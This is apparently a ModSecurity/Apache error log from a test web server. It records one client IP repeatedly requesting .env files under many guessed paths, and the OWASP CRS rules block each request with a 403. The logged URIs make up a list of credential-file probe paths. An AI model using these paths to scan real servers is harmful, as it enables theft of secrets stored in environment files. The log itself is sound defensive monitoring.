[Thu Feb 26 01:02:53.435170 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPAAAAAE&quot;]
[Thu Feb 26 01:02:53.435316 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPAAAAAE&quot;]
[Thu Feb 26 01:02:53.465646 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPQAAAAE&quot;]
[Thu Feb 26 01:02:53.465875 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPQAAAAE&quot;]
[Thu Feb 26 01:02:53.466027 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPQAAAAE&quot;]
[Thu Feb 26 01:02:53.497733 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme_challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPgAAAAE&quot;]
[Thu Feb 26 01:02:53.497955 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPgAAAAE&quot;]
[Thu Feb 26 01:02:53.498095 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPgAAAAE&quot;]
[Thu Feb 26 01:02:53.529869 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /actions-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPwAAAAE&quot;]
[Thu Feb 26 01:02:53.530091 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPwAAAAE&quot;]
[Thu Feb 26 01:02:53.530245 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhPwAAAAE&quot;]
[Thu Feb 26 01:02:53.630633 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PQgAAAAU&quot;]
[Thu Feb 26 01:02:53.630856 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PQgAAAAU&quot;]
[Thu Feb 26 01:02:53.631048 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/src/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PQgAAAAU&quot;]
[Thu Feb 26 01:02:53.655584 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PQwAAAAU&quot;]
[Thu Feb 26 01:02:53.655816 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PQwAAAAU&quot;]
[Thu Feb 26 01:02:53.656000 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PQwAAAAU&quot;]
[Thu Feb 26 01:02:53.656723 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhQgAAAAE&quot;]
[Thu Feb 26 01:02:53.656929 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhQgAAAAE&quot;]
[Thu Feb 26 01:02:53.657074 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhQgAAAAE&quot;]
[Thu Feb 26 01:02:53.685207 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhQwAAAAE&quot;]
[Thu Feb 26 01:02:53.685425 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhQwAAAAE&quot;]
[Thu Feb 26 01:02:53.685595 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-panel/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhQwAAAAE&quot;]
[Thu Feb 26 01:02:53.721590 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PRQAAAAU&quot;]
[Thu Feb 26 01:02:53.721794 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PRQAAAAU&quot;]
[Thu Feb 26 01:02:53.721979 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PRQAAAAU&quot;]
[Thu Feb 26 01:02:53.780024 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PRgAAAAU&quot;]
[Thu Feb 26 01:02:53.780269 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PRgAAAAU&quot;]
[Thu Feb 26 01:02:53.780449 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apis/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PRgAAAAU&quot;]
[Thu Feb 26 01:02:53.851736 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /adminapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhRwAAAAE&quot;]
[Thu Feb 26 01:02:53.852040 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhRwAAAAE&quot;]
[Thu Feb 26 01:02:53.852204 2026] [:error] [pid 2330789] [client 185.177.72.22:23998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/adminapp/.env&quot;] [unique_id &quot;aZ-NrTAL5Lg_nL66HcLhRwAAAAE&quot;]
[Thu Feb 26 01:02:53.852975 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app-order-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app-order-client/.env&quot;] [unique_id &quot;aZ-NrSk1SHHL9bIjTI-PSAAAAAU&quot;]
